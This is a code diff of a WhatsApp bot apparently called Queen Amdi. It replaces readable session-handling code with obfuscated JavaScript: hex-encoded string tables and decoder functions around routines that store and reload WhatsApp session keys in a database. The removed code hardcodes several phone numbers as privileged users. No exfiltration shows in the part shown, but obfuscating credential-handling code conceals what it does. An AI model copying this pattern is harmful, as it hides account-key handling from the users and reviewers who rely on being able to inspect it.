+ '\x64\x62\x43\x52\x45\x41\x54\x45',
411
+ '\x75\x6e\x6c\x69\x6e\x6b\x53\x79\x6e\x63',
412
+ '\x6e\x65\x78\x74\x50\x72\x65\x4b\x65\x79',
413
+ '\x72\x65\x61\x63\x74',
414
+ '\ud83d\udcf3\x20\x2a\x43\x6f\x6d\x6d\x61\x6e\x64',
415
+ '\x65\x4b\x65\x79\x20\x3d\x20\x24\x31\x2c',
416
+ '\x73\x20\x74\x65\x78\x74\x2c\x20\x61\x63',
417
+ '\x63\x6c\x6f\x73\x65',
418
+ '\x62\x61\x6e\x6e\x65\x64\x5f\x75\x73\x65',
419
+ '\x6f\x6e\x6e\x65\x63\x74\x65\x64\x21',
420
+ '\x48\x65\x72\x6f\x6b\x75\x5f\x41\x6c\x69',
421
+ '\x20\x74\x65\x78\x74\x29\x3b',
422
+ '\x66\x6f\x72\x45\x61\x63\x68',
423
+ '\x67\x72\x6f\x75\x70\x4d\x65\x74\x61\x64',
424
+ '\x65\x76\x76',
425
+ '\x61\x64\x6d\x69\x6e',
426
+ '\x74\x6f\x6b\x65\x6e',
427
+ '\x63\x61\x70\x74\x69\x6f\x6e',
428
+ '\x65\x78\x74\x2c\x20\x6d\x79\x41\x70\x70',
429
+ '\x71\x75\x6f\x74\x65\x64\x4d\x65\x73\x73',
430
+ '\x65\x77\x20\x53\x65\x73\x73\x69\x6f\x6e',
431
+ '\x39\x6f\x55\x51\x68\x67\x4e',
432
+ '\x20\x73\x75\x70\x70\x6f\x72\x74\x20\x67',
433
+ '\x73\x74\x72\x69\x6e\x67\x69\x66\x79',
434
+ '\x70\x73\x65\x72\x74',
435
+ '\x63\x72\x65\x64\x73\x2e\x75\x70\x64\x61',
436
+ '\x73\x68\x69\x66\x74',
437
+ '\x20\x0a\u2023\x20\x4e\x41\x4d\x45\x3a\x20',
438
+ '\x65\x73\x73\x61\x67\x65',
439
+ '\x50\x52\x45\x46\x49\x58',
440
+ '\x70\x72\x69\x6d\x61\x72\x79\x2f',
441
+ '\x24\x35\x2c\x20\x6e\x65\x78\x74\x50\x72',
442
+ '\x76\x69\x64\x65\x6f\x4d\x65\x73\x73\x61',
443
+ '\x39\x34\x37\x38\x35\x34\x35\x37\x35\x31',
444
+ '\x2c\x20\x6d\x65\x20\x74\x65\x78\x74\x2c',
445
+ '\x20\x24\x32\x2c\x20\x73\x69\x67\x6e\x65',
446
+ '\x6f\x70\x65\x72\x61\x74\x65',
447
+ '\x64\x20\x3d\x20\x24\x31\x33\x3b',
448
+ '\x63\x6f\x6e\x6e\x44\x4f\x4e\x45',
449
+ '\x75\x70\x6c\x6f\x61\x64\x65\x64\x50\x72',
450
+ '\x74\x72\x69\x6d',
451
+ '\x70\x75\x73\x68\x4e\x61\x6d\x65',
452
+ '\x61\x74\x61\x62\x61\x73\x65\x2f\x62\x61',
453
+ '\x74\x74\x6f\x6e\x73\x2d\x6d\x65\x73\x73',
454
+ '\x73\x65\x6e\x64\x41\x75\x64\x69\x6f\x4d',
455
+ '\x65\x64\x20\u274c',
456
+ '\x71\x75\x65\x72\x79',
457
+ '\x75\x74\x69\x6c',
458
+ '\x20\x55\x70\x64\x61\x74\x65\x73\x2a\x0a',
459
+ '\x55\x39\x35\x2d\x57\x6e\x39\x6d\x48\x34',
460
+ '\x20\x57\x65\x62\x73\x69\x74\x65',
461
+ '\x65\x78\x74\x65\x6e\x64\x65\x64\x54\x65',
462
+ '\x73\x74\x6f\x72\x65',
463
+ '\x61\x72\x72\x61\x79\x62\x75\x66\x66\x65',
464
+ '\x70\x75\x73\x68',
465
+ '\x62\x79\x65\x6e\x6f\x74\x65',
466
+ '\x71\x75\x69\x63\x6b\x52\x65\x70\x6c\x79',
467
+ '\x39\x34\x37\x38\x35\x34\x33\x35\x34\x36',
468
+ '\x5f\x63\x6f\x6e\x66\x69\x72\x6d\x61\x74',
469
+ '\x73\x74\x2e\x67\x69\x74\x68\x75\x62\x75',
470
+ '\x72\x73\x74',
471
+ '\x43\x6c\x6f\x73\x65\x64',
472
+ '\x4d\x61\x6e\x6f\x6a\x5f\x4d\x75\x6c\x74',
473
+ '\x20\x52\x65\x70\x6c\x61\x63\x65\x64\x2c',
474
+ '\x71\x75\x69\x72\x65\x64\x2c\x20\x52\x65',
475
+ '\x64\x6e\x31\x35\x76\x51',
476
+ '\x61\x72\x74\x69\x63\x69\x70\x61\x6e\x74',
477
+ '\x64\x6e\x31\x35\x76\x51\x3f\x73\x75\x62',
478
+ '\x53\x65\x63\x72\x65\x74\x4b\x65\x79\x20',
479
+ '\x6e\x6f\x74\x41\x64\x6d\x69\x6e',
480
+ '\x74\x68\x65\x6e',
481
+ '\x6c\x2f\x55\x43\x5a\x78\x38\x55\x31\x45',
482
+ '\x77\x49\x64',
483
+ '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x2e',
484
+ '\x6e\x20\x46\x69\x6c\x65\x2c\x20\x50\x6c',
485
+ '\x6c\x65\x76\x65\x6c',
486
+ '\x75\x70\x64\x61\x74\x65\x57\x41\x43\x4f',
487
+ '\x37\x30\x33\x2d\x30\x31\x30\x36\x35\x33',
488
+ '\x61\x67\x61\x69\x6e\x2e',
489
+ '\x63\x6f\x6d\x2f\x42\x6c\x61\x63\x6b\x41',
490
+ '\x6e\x67\x2f\x62\x61\x69\x6c\x65\x79\x73',
491
+ '\x6c\x69\x73\x74\x52\x65\x73\x70\x6f\x6e',
492
+ '\x6e\x5f\x6a\x69\x64\x44\x42',
493
+ '\x41\x45\x53',
494
+ '\x62\x75\x74\x74\x6f\x6e\x54\x58\x54',
495
+ '\x5d\x2d\x5b\x4e\x41\x4d\x45\x3a\x20',
496
+ '\x20\x0a\u2023\x20\x43\x48\x41\x54\x20\x4e',
497
+ '\x74\x61\x6d\x70',
498
+ '\x73\x65\x4d\x65\x73\x73\x61\x67\x65',
499
+ '\x4c\x6f\x73\x74',
500
+ '\ud83d\udcf2\x20\x4e\x6f\x77\x20\x61\x6c\x6c\x20',
501
+ '\x0a\x44\x6f\x6e\x27\x74\x20\x75\x73\x65',
502
+ '\x79\x6f\x75\x72\x20\x62\x6f\x74\x20\x6c',
503
+ '\x70\x74\x74',
504
+ '\x20\x5b\x50\x75\x62\x6c\x69\x63\x5d',
505
+ '\x56\x45\x52\x53\x49\x4f\x4e',
506
+ '\x70\x6f\x6e\x73\x65\x4d\x65\x73\x73\x61',
507
+ '\x6d\x61\x6e\x6f\x6a\x2d\x61\x6d\x64\x69',
508
+ '\x20\x0a\u2023\x20\x50\x61\x72\x74\x69\x63',
509
+ '\x20\x52\x75\x6e\x2e',
510
+ '\x5d\x2d\x5b\x43\x4c\x49\x45\x4e\x54\x3a',
511
+ '\x73\x65\x6c\x65\x63\x74\x65\x64\x49\x64',
512
+ '\x77\x65\x6c\x6e\x6f\x74\x65',
513
+ '\x40\x73\x2e\x77\x68\x61\x74\x73\x61\x70',
514
+ '\x61\x64\x63\x61\x73\x74',
515
+ '\x59\x6f\x75\x54\x75\x62\x65\x20\x43\x68',
516
+ '\x32\x39\x33\x38\x37\x30\x4b\x4f\x5a\x4d\x42\x75',
517
+ '\x61\x63\x63\x6f\x75\x6e\x74',
518
+ '\x65\x44\x65\x73\x63\x72\x69\x70\x74\x69',
519
+ '\x66\x72\x6f\x6d\x20\x75\x73\x69\x6e\x67',
520
+ '\x2e\x70\x6e\x67',
521
+ '\x39\x34\x37\x35\x37\x34\x30\x35\x36\x35',
522
+ '\x61\x6e\x64\x20\x53\x63\x61\x6e\x20\x41',
523
+ '\x5b\x49\x6e\x62\x6f\x78\x5d',
524
+ '\x72\x65\x70\x6c\x79'
525
+ ];
526
+ _0x2d29 = function () {
527
+ return _0x2d3beb;
528
+ };
529
+ return _0x2d29();
530
+ }
531
+ function saveMessageST(_0x1cdfb0, _0x192f45) {
532
+ messages[_0x1cdfb0] = _0x192f45;
533
+ }
534
+ function getMessageST(_0x2562af) {
535
+ return messages[_0x2562af];
46
536
  }
47
537
  function clearMessagesST() {
48
- messages = []
538
+ messages = [];
49
539
  }
50
- setInterval(clearMessagesST, 120000)
51
-
52
- const retryMessageHandler = async message => {
53
- let text = getMessageST(message.id)
54
- deleteMessageST(message.id)
55
- return {
56
- conversation: text
540
+ setInterval(clearMessagesST, 0x1d4c0);
541
+ const retryMessageHandler = async _0x342af1 => {
542
+ let _0x5c72f4 = getMessageST(_0x342af1['\x69\x64']);
543
+ function _0x19291b(_0x5c8e3f, _0x13bcdb) {
544
+ return _0x1fcd49(_0x5c8e3f, _0x13bcdb - 0xee);
57
545
  }
58
- }
59
-
546
+ deleteMessageST(_0x342af1['\x69\x64']);
547
+ const _0x5446f2 = {};
548
+ return _0x5446f2[_0x19291b(0x26b, 0x242) + '\x6f\x6e'] = _0x5c72f4, _0x5446f2;
549
+ };
60
550
  function deleteAuth() {
551
+ function _0x48e14c(_0x205e9a, _0x761467) {
552
+ return _0x1fcd49(_0x205e9a, _0x761467 - -0x104);
553
+ }
554
+ function _0x200e17(_0x362c7c, _0x40680f) {
555
+ return _0x1fcd49(_0x362c7c, _0x40680f - 0xbc);
556
+ }
61
557
  try {
62
- fs.unlinkSync("./amdi_session.json");
63
- } catch (err) {
64
- console.log("There is no session file.");
558
+ fs['\x75\x6e\x6c\x69\x6e\x6b\x53\x79\x6e\x63']('\x2e\x2f\x61\x6d\x64\x69\x5f\x73\x65\x73' + _0x200e17(0x120, 0x1be));
559
+ } catch (_0x11e65e) {
560
+ console[_0x48e14c(0x20, 0x7)](_0x200e17(0x232, 0x1b4) + _0x200e17(0x30a, 0x2ec) + _0x48e14c(-0x55, 0xd));
65
561
  }
66
562
  }
67
-
68
- // <<==== Logger ====>>
69
- const P = require("pino");
70
- let MAIN_LOGGER = P({ timestamp: () => `,"time":"${new Date().toJSON()}"` });
71
- const logger = MAIN_LOGGER.child({});
72
- logger.level = 'silent';
73
-
74
-
75
- const amdiDB = require('../../../assets/amdiDB'); // QueenAmdi Database
76
- const vars = require('../../../assets/amdiSettings')
77
-
78
- // <<==== AUTH-FETCH ====>>
563
+ const P = require(_0x1fe2eb(-0x2c1, -0x272));
564
+ let MAIN_LOGGER = P({ '\x74\x69\x6d\x65\x73\x74\x61\x6d\x70': () => _0x1fcd49(0x335, 0x24b) + new Date()[_0x1fe2eb(-0x1b4, -0x1c6)]() + '\x22' });
565
+ const logger = MAIN_LOGGER['\x63\x68\x69\x6c\x64']({});
566
+ logger[_0x1fcd49(0x1b9, 0x204)] = _0x1fe2eb(-0x316, -0x31a);
79
567
  let cred, auth_row_count;
80
568
  async function fetchauth() {
569
+ function _0x5b01e5(_0x47f7fe, _0x37c4df) {
570
+ return _0x1fe2eb(_0x47f7fe, _0x37c4df - 0x1bf);
571
+ }
572
+ function _0x26cf2d(_0x1bdff3, _0x537b0e) {
573
+ return _0x1fcd49(_0x537b0e, _0x1bdff3 - 0x215);
574
+ }
81
575
  try {
82
- auth_result = await amdiDB.query('select * from auth;');//checking auth table
83
- console.log(Lang.existWA)
84
- auth_row_count = await auth_result.rowCount;
85
- let data = auth_result.rows[0];
86
- if (auth_row_count == 0) {
87
- console.log(Lang.genNEWses)
88
- } else {
89
- console.log(Lang.waConImport);
90
- cred = {
91
- creds: {
92
- noiseKey: JSON.parse(data.noisekey),
93
- signedIdentityKey: JSON.parse(data.signedidentitykey),
94
- signedPreKey: JSON.parse(data.signedprekey),
95
- registrationId: Number(data.registrationid),
96
- advSecretKey: data.advsecretkey,
97
- nextPreKeyId: Number(data.nextprekeyid),
98
- firstUnuploadedPreKeyId: Number(data.firstunuploadedprekeyid),
99
- // serverHasPreKeys: Boolean(data.serverhasprekeys),
100
- serverHasPreKeys: false,
101
- account: JSON.parse(data.account),
102
- me: JSON.parse(data.me),
103
- signalIdentities: JSON.parse(data.signalidentities),
104
- lastAccountSyncTimestamp: 0, // To allow bot to read the messages
105
- // lastAccountSyncTimestamp: Number(data.lastaccountsynctimestampb),
106
- myAppStateKeyId: data.myappstatekeyid,
107
- },
108
- keys: state.keys,
109
- };
110
- cred.creds.noiseKey.private = Buffer.from(cred.creds.noiseKey.private);
111
- cred.creds.noiseKey.public = Buffer.from(cred.creds.noiseKey.public);
112
- cred.creds.signedIdentityKey.private = Buffer.from(
113
- cred.creds.signedIdentityKey.private
114
- );
115
- cred.creds.signedIdentityKey.public = Buffer.from(
116
- cred.creds.signedIdentityKey.public
117
- );
118
- cred.creds.signedPreKey.keyPair.private = Buffer.from(
119
- cred.creds.signedPreKey.keyPair.private
120
- );
121
- cred.creds.signedPreKey.keyPair.public = Buffer.from(
122
- cred.creds.signedPreKey.keyPair.public
123
- );
124
- cred.creds.signedPreKey.signature = Buffer.from(
125
- cred.creds.signedPreKey.signature
126
- );
127
- cred.creds.signalIdentities[0].identifierKey = Buffer.from(
128
- cred.creds.signalIdentities[0].identifierKey
129
- );
130
- }
131
- } catch (err) {
132
- console.log(Lang.dbCREATE);//if login fail create a amdiDB
133
- //console.log(err);
134
- await amdiDB.query(
135
- "CREATE TABLE auth(noiseKey text, signedIdentityKey text, signedPreKey text, registrationId text, advSecretKey text, nextPreKeyId text, firstUnuploadedPreKeyId text, serverHasPreKeys text, account text, me text, signalIdentities text, lastAccountSyncTimestamp text, myAppStateKeyId text);");
136
- await fetchauth();
576
+ auth_result = await amdiDB[_0x26cf2d(0x3fc, 0x48b)](_0x5b01e5(-0x1de, -0x142) + _0x26cf2d(0x399, 0x32a)), console[_0x5b01e5(-0x4c, -0x130)](Lang[_0x26cf2d(0x31f, 0x3bd)]), auth_row_count = await auth_result['\x72\x6f\x77\x43\x6f\x75\x6e\x74'];
577
+ let _0x3b8f99 = auth_result[_0x5b01e5(-0x59, -0x123)][0x0];
578
+ auth_row_count == 0x0 ? console[_0x26cf2d(0x320, 0x36d)](Lang['\x67\x65\x6e\x4e\x45\x57\x73\x65\x73']) : (console[_0x5b01e5(-0x146, -0x130)](Lang[_0x5b01e5(0x41, -0x88) + '\x74']), cred = {
579
+ '\x63\x72\x65\x64\x73': {
580
+ '\x6e\x6f\x69\x73\x65\x4b\x65\x79': JSON[_0x26cf2d(0x2f4, 0x38e)](_0x3b8f99[_0x26cf2d(0x490, 0x495)]),
581
+ '\x73\x69\x67\x6e\x65\x64\x49\x64\x65\x6e\x74\x69\x74\x79\x4b\x65\x79': JSON[_0x26cf2d(0x2f4, 0x2d3)](_0x3b8f99[_0x26cf2d(0x36e, 0x371) + '\x74\x69\x74\x79\x6b\x65\x79']),
582
+ '\x73\x69\x67\x6e\x65\x64\x50\x72\x65\x4b\x65\x79': JSON['\x70\x61\x72\x73\x65'](_0x3b8f99[_0x5b01e5(-0x1d, -0xc0) + '\x65\x79']),
583
+ '\x72\x65\x67\x69\x73\x74\x72\x61\x74\x69\x6f\x6e\x49\x64': Number(_0x3b8f99[_0x26cf2d(0x3cb, 0x3c0) + _0x26cf2d(0x44e, 0x370)]),
584
+ '\x61\x64\x76\x53\x65\x63\x72\x65\x74\x4b\x65\x79': _0x3b8f99[_0x26cf2d(0x340, 0x3fd) + '\x65\x79'],
585
+ '\x6e\x65\x78\x74\x50\x72\x65\x4b\x65\x79\x49\x64': Number(_0x3b8f99[_0x5b01e5(-0x12b, -0xf9) + '\x69\x64']),
586
+ '\x66\x69\x72\x73\x74\x55\x6e\x75\x70\x6c\x6f\x61\x64\x65\x64\x50\x72\x65\x4b\x65\x79\x49\x64': Number(_0x3b8f99['\x66\x69\x72\x73\x74\x75\x6e\x75\x70\x6c' + '\x6f\x61\x64\x65\x64\x70\x72\x65\x6b\x65' + _0x26cf2d(0x35a, 0x2c6)]),
587
+ '\x73\x65\x72\x76\x65\x72\x48\x61\x73\x50\x72\x65\x4b\x65\x79\x73': ![],
588
+ '\x61\x63\x63\x6f\x75\x6e\x74': JSON[_0x26cf2d(0x2f4, 0x282)](_0x3b8f99[_0x5b01e5(-0xdd, -0x17)]),
589
+ '\x6d\x65': JSON['\x70\x61\x72\x73\x65'](_0x3b8f99['\x6d\x65']),
590
+ '\x73\x69\x67\x6e\x61\x6c\x49\x64\x65\x6e\x74\x69\x74\x69\x65\x73': JSON[_0x26cf2d(0x2f4, 0x213)](_0x3b8f99[_0x5b01e5(0x18, 0xf) + _0x26cf2d(0x301, 0x21d)]),
591
+ '\x6c\x61\x73\x74\x41\x63\x63\x6f\x75\x6e\x74\x53\x79\x6e\x63\x54\x69\x6d\x65\x73\x74\x61\x6d\x70': 0x0,
592
+ '\x6d\x79\x41\x70\x70\x53\x74\x61\x74\x65\x4b\x65\x79\x49\x64': _0x3b8f99[_0x5b01e5(-0xd2, -0x173) + _0x5b01e5(-0x3a, -0x106)]
593
+ },
594
+ '\x6b\x65\x79\x73': state['\x6b\x65\x79\x73']
595
+ }, cred[_0x26cf2d(0x48a, 0x51e)][_0x26cf2d(0x2eb, 0x22d)][_0x5b01e5(0x12d, 0x46)] = Buffer[_0x5b01e5(-0x8, 0x1a)](cred[_0x5b01e5(0x4b, 0x3a)]['\x6e\x6f\x69\x73\x65\x4b\x65\x79'][_0x5b01e5(-0x78, 0x46)]), cred['\x63\x72\x65\x64\x73'][_0x5b01e5(-0x21e, -0x165)][_0x5b01e5(-0x63, -0xad)] = Buffer['\x66\x72\x6f\x6d'](cred[_0x5b01e5(-0x84, 0x3a)]['\x6e\x6f\x69\x73\x65\x4b\x65\x79'][_0x26cf2d(0x3a3, 0x372)]), cred[_0x5b01e5(0x94, 0x3a)][_0x26cf2d(0x4a8, 0x3d5) + _0x5b01e5(-0xa7, -0x154)][_0x26cf2d(0x496, 0x4e7)] = Buffer['\x66\x72\x6f\x6d'](cred[_0x5b01e5(0x106, 0x3a)]['\x73\x69\x67\x6e\x65\x64\x49\x64\x65\x6e' + _0x5b01e5(-0x1d0, -0x154)][_0x26cf2d(0x496, 0x412)]), cred[_0x26cf2d(0x48a, 0x471)][_0x5b01e5(-0x8b, 0x58) + _0x26cf2d(0x2fc, 0x3aa)][_0x26cf2d(0x3a3, 0x439)] = Buffer[_0x5b01e5(0xa4, 0x1a)](cred[_0x5b01e5(0x4e, 0x3a)][_0x26cf2d(0x4a8, 0x540) + _0x26cf2d(0x2fc, 0x39e)][_0x26cf2d(0x3a3, 0x362)]), cred[_0x5b01e5(-0x39, 0x3a)][_0x26cf2d(0x30f, 0x359) + '\x65\x79']['\x6b\x65\x79\x50\x61\x69\x72'][_0x26cf2d(0x496, 0x47f)] = Buffer[_0x5b01e5(0x84, 0x1a)](cred[_0x26cf2d(0x48a, 0x4aa)][_0x26cf2d(0x30f, 0x396) + '\x65\x79']['\x6b\x65\x79\x50\x61\x69\x72'][_0x26cf2d(0x496, 0x547)]), cred[_0x26cf2d(0x48a, 0x467)][_0x26cf2d(0x30f, 0x3b4) + '\x65\x79'][_0x5b01e5(-0x1d, -0xc5)][_0x5b01e5(-0x53, -0xad)] = Buffer[_0x5b01e5(0x8d, 0x1a)](cred[_0x5b01e5(-0x63, 0x3a)][_0x26cf2d(0x30f, 0x3e5) + '\x65\x79'][_0x5b01e5(-0x6e, -0xc5)]['\x70\x75\x62\x6c\x69\x63']), cred['\x63\x72\x65\x64\x73'][_0x26cf2d(0x30f, 0x232) + '\x65\x79'][_0x5b01e5(-0x155, -0x16c)] = Buffer[_0x5b01e5(0x60, 0x1a)](cred[_0x26cf2d(0x48a, 0x3b3)]['\x73\x69\x67\x6e\x65\x64\x50\x72\x65\x4b' + '\x65\x79']['\x73\x69\x67\x6e\x61\x74\x75\x72\x65']), cred[_0x5b01e5(0x9a, 0x3a)]['\x73\x69\x67\x6e\x61\x6c\x49\x64\x65\x6e' + _0x26cf2d(0x301, 0x3b8)][0x0][_0x5b01e5(-0xea, -0x89) + _0x5b01e5(-0xfa, -0x146)] = Buffer[_0x26cf2d(0x46a, 0x487)](cred[_0x5b01e5(0x50, 0x3a)][_0x5b01e5(-0x1b0, -0xd3) + _0x5b01e5(-0x154, -0x14f)][0x0][_0x26cf2d(0x3c7, 0x477) + _0x5b01e5(-0x1c1, -0x146)]));
596
+ } catch (_0x386f2b) {
597
+ console[_0x26cf2d(0x320, 0x262)](Lang[_0x5b01e5(-0x61, -0x82)]), await amdiDB[_0x26cf2d(0x3fc, 0x396)]('\x43\x52\x45\x41\x54\x45\x20\x54\x41\x42' + '\x4c\x45\x20\x61\x75\x74\x68\x28\x6e\x6f' + '\x69\x73\x65\x4b\x65\x79\x20\x74\x65\x78' + '\x74\x2c\x20\x73\x69\x67\x6e\x65\x64\x49' + _0x26cf2d(0x35b, 0x2ef) + _0x26cf2d(0x319, 0x2a9) + _0x26cf2d(0x44d, 0x418) + _0x5b01e5(-0x127, -0x162) + _0x26cf2d(0x461, 0x46f) + _0x26cf2d(0x487, 0x540) + _0x5b01e5(-0x81, -0x3e) + '\x74\x65\x78\x74\x2c\x20\x6e\x65\x78\x74' + '\x50\x72\x65\x4b\x65\x79\x49\x64\x20\x74' + _0x26cf2d(0x302, 0x230) + _0x26cf2d(0x4a5, 0x4dc) + _0x26cf2d(0x305, 0x388) + _0x5b01e5(0xc7, -0xa) + '\x72\x48\x61\x73\x50\x72\x65\x4b\x65\x79' + _0x26cf2d(0x3d4, 0x422) + _0x26cf2d(0x32b, 0x34f) + _0x26cf2d(0x3f0, 0x4c0) + _0x26cf2d(0x2d9, 0x2c2) + _0x5b01e5(-0x92, -0xbc) + '\x78\x74\x2c\x20\x6c\x61\x73\x74\x41\x63' + _0x5b01e5(-0xad, 0x21) + _0x26cf2d(0x304, 0x331) + _0x26cf2d(0x3e0, 0x391) + _0x5b01e5(-0x9f, -0xc8) + _0x5b01e5(0x43, -0x77)), await fetchauth();
137
598
  }
138
599
  }
139
-
600
+ function _0x1fe2eb(_0x208079, _0x2464c6) {
601
+ return _0x2ec1(_0x2464c6 - -0x3e3, _0x208079);
602
+ }
140
603
  function updateLogin() {
604
+ function _0x753f55(_0x46adf8, _0x1f3b7f) {
605
+ return _0x1fcd49(_0x1f3b7f, _0x46adf8 - 0x3c1);
606
+ }
607
+ function _0x3436f7(_0x38dd50, _0x18d5cf) {
608
+ return _0x1fe2eb(_0x18d5cf, _0x38dd50 - 0x102);
609
+ }
141
610
  try {
142
- let noiseKey = JSON.stringify(state.creds.noiseKey);
143
- let signedIdentityKey = JSON.stringify(state.creds.signedIdentityKey);
144
- let signedPreKey = JSON.stringify(state.creds.signedPreKey);
145
- let registrationId = state.creds.registrationId;
146
- let advSecretKey = state.creds.advSecretKey;
147
- let nextPreKeyId = state.creds.nextPreKeyId;
148
- let firstUnuploadedPreKeyId = state.creds.firstUnuploadedPreKeyId;
149
- let serverHasPreKeys = state.creds.serverHasPreKeys;
150
- let account = JSON.stringify(state.creds.account);
151
- let me = JSON.stringify(state.creds.me);
152
- let signalIdentities = JSON.stringify(state.creds.signalIdentities);
153
- let lastAccountSyncTimestamp = state.creds.lastAccountSyncTimestamp;
154
- let myAppStateKeyId = state.creds.myAppStateKeyId; //?
155
- // INSERT / UPDATE LOGIN DATA
156
- if (auth_row_count == 0) {
157
- console.log(Lang.insertWACON);
158
- amdiDB.query(
159
- "INSERT INTO auth VALUES($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13);",
160
- [
161
- noiseKey, signedIdentityKey, signedPreKey, registrationId, advSecretKey, nextPreKeyId,
162
- firstUnuploadedPreKeyId, serverHasPreKeys, account, me, signalIdentities, lastAccountSyncTimestamp, myAppStateKeyId,
163
- ]
164
- );
165
- amdiDB.query("commit;");
166
- console.log(Lang.insertWADone);
167
- } else {
168
- console.log(Lang.updateWACON);
169
- amdiDB.query(
170
- "UPDATE auth SET noiseKey = $1, signedIdentityKey = $2, signedPreKey = $3, registrationId = $4, advSecretKey = $5, nextPreKeyId = $6, firstUnuploadedPreKeyId = $7, serverHasPreKeys = $8, account = $9, me = $10, signalIdentities = $11, lastAccountSyncTimestamp = $12, myAppStateKeyId = $13;",
171
- [
172
- noiseKey, signedIdentityKey, signedPreKey, registrationId, advSecretKey, nextPreKeyId, firstUnuploadedPreKeyId,
173
- serverHasPreKeys, account, me, signalIdentities, lastAccountSyncTimestamp, myAppStateKeyId,
174
- ]
175
- );
176
- }
177
- amdiDB.query("commit;");
178
- } catch { }
611
+ let _0x5251d3 = JSON[_0x753f55(0x591, 0x59c)](state['\x63\x72\x65\x64\x73'][_0x753f55(0x497, 0x3b5)]), _0x50c45c = JSON[_0x753f55(0x591, 0x5eb)](state[_0x753f55(0x636, 0x68b)][_0x3436f7(-0x65, -0xb5) + _0x753f55(0x4a8, 0x4ca)]), _0x454467 = JSON[_0x753f55(0x591, 0x60d)](state['\x63\x72\x65\x64\x73']['\x73\x69\x67\x6e\x65\x64\x50\x72\x65\x4b' + '\x65\x79']), _0x236a56 = state[_0x753f55(0x636, 0x687)][_0x753f55(0x577, 0x51c) + _0x753f55(0x62f, 0x61e)], _0xab3760 = state[_0x3436f7(-0x83, -0xa8)]['\x61\x64\x76\x53\x65\x63\x72\x65\x74\x4b' + '\x65\x79'], _0x567122 = state[_0x3436f7(-0x83, -0x80)][_0x753f55(0x57c, 0x4e7) + '\x49\x64'], _0x1bd612 = state[_0x753f55(0x636, 0x5fd)][_0x3436f7(-0x1b5, -0x19f) + _0x3436f7(-0xb0, -0x9e) + '\x79\x49\x64'], _0x5378b1 = state[_0x3436f7(-0x83, -0x83)]['\x73\x65\x72\x76\x65\x72\x48\x61\x73\x50' + '\x72\x65\x4b\x65\x79\x73'], _0x52d5e3 = JSON[_0x3436f7(-0x128, -0x196)](state[_0x3436f7(-0x83, 0x3c)][_0x753f55(0x5e5, 0x5d5)]), _0xff5ccd = JSON[_0x753f55(0x591, 0x513)](state[_0x753f55(0x636, 0x61e)]['\x6d\x65']), _0x20c254 = JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79'](state['\x63\x72\x65\x64\x73'][_0x3436f7(-0x190, -0x1f4) + _0x753f55(0x4ad, 0x400)]), _0x46fe09 = state[_0x3436f7(-0x83, -0x5f)][_0x3436f7(-0x92, -0x8a) + '\x74\x53\x79\x6e\x63\x54\x69\x6d\x65\x73' + _0x3436f7(-0xe8, -0x117)], _0x2f1d3d = state['\x63\x72\x65\x64\x73'][_0x3436f7(-0x232, -0x252) + _0x3436f7(-0x23a, -0x236)];
612
+ auth_row_count == 0x0 ? (console[_0x3436f7(-0x1ed, -0x1a0)](Lang['\x69\x6e\x73\x65\x72\x74\x57\x41\x43\x4f' + '\x4e']), amdiDB[_0x3436f7(-0x111, -0x9d)](_0x753f55(0x4fd, 0x512) + _0x3436f7(-0x6d, -0x10a) + _0x3436f7(-0x8c, 0x2f) + _0x753f55(0x555, 0x5af) + _0x3436f7(-0x225, -0x2de) + _0x3436f7(-0x1bd, -0x18f) + '\x31\x32\x2c\x24\x31\x33\x29\x3b', [
613
+ _0x5251d3,
614
+ _0x50c45c,
615
+ _0x454467,
616
+ _0x236a56,
617
+ _0xab3760,
618
+ _0x567122,
619
+ _0x1bd612,
620
+ _0x5378b1,
621
+ _0x52d5e3,
622
+ _0xff5ccd,
623
+ _0x20c254,
624
+ _0x46fe09,
625
+ _0x2f1d3d
626
+ ]), amdiDB[_0x3436f7(-0x111, -0x1d9)](_0x753f55(0x618, 0x6e0)), console[_0x753f55(0x4cc, 0x45f)](Lang[_0x753f55(0x4b2, 0x4f2) + '\x6e\x65'])) : (console[_0x3436f7(-0x1ed, -0x2d1)](Lang[_0x3436f7(-0xf3, -0x79) + '\x4e']), amdiDB[_0x3436f7(-0x111, -0xda)](_0x3436f7(-0x74, -0x89) + '\x68\x20\x53\x45\x54\x20\x6e\x6f\x69\x73' + _0x753f55(0x57f, 0x57e) + _0x3436f7(-0x90, -0x51) + _0x753f55(0x520, 0x5ee) + _0x3436f7(-0x11c, -0x7e) + _0x3436f7(-0x22b, -0x1fd) + _0x3436f7(-0x221, -0x2b3) + _0x3436f7(-0xb4, -0x17a) + '\x20\x24\x34\x2c\x20\x61\x64\x76\x53\x65' + _0x753f55(0x49c, 0x57a) + _0x753f55(0x599, 0x665) + _0x753f55(0x4f3, 0x562) + _0x3436f7(-0x1c7, -0x202) + _0x3436f7(-0x118, -0x13b) + _0x753f55(0x4f3, 0x52c) + _0x3436f7(-0xcb, -0x122) + _0x753f55(0x56a, 0x5ea) + '\x3d\x20\x24\x38\x2c\x20\x61\x63\x63\x6f' + _0x3436f7(-0x9d, 0x29) + '\x6d\x65\x20\x3d\x20\x24\x31\x30\x2c\x20' + _0x3436f7(-0x190, -0x26b) + _0x3436f7(-0x16b, -0xd4) + '\x31\x31\x2c\x20\x6c\x61\x73\x74\x41\x63' + _0x753f55(0x61d, 0x6f2) + _0x3436f7(-0x85, 0x3c) + '\x20\x24\x31\x32\x2c\x20\x6d\x79\x41\x70' + _0x3436f7(-0x1df, -0x20f) + _0x3436f7(-0x11a, -0xec), [
627
+ _0x5251d3,
628
+ _0x50c45c,
629
+ _0x454467,
630
+ _0x236a56,
631
+ _0xab3760,
632
+ _0x567122,
633
+ _0x1bd612,
634
+ _0x5378b1,
635
+ _0x52d5e3,
636
+ _0xff5ccd,
637
+ _0x20c254,
638
+ _0x46fe09,
639
+ _0x2f1d3d
640
+ ])), amdiDB[_0x753f55(0x5a8, 0x692)]('\x63\x6f\x6d\x6d\x69\x74\x3b');
641
+ } catch {
642
+ }
179
643
  }
180
-
181
- // <<==== OWNER and USER ====>>
182
- const Bot_Number = vars.BOT_NUMBER + '@s.whatsapp.net';
183
- const allowedNumbs = ["94757405652", "94719077818", "94757672873", "94759551299", "94774976567", "94785457519", "94785435462"];
184
- const footerTXT = 'ǫᴜᴇᴇɴ ᴀᴍᴅɪ - ᴍᴜʟᴛɪ ᴅᴇᴠɪᴄᴇ'
185
- const MOD = vars.MOD
186
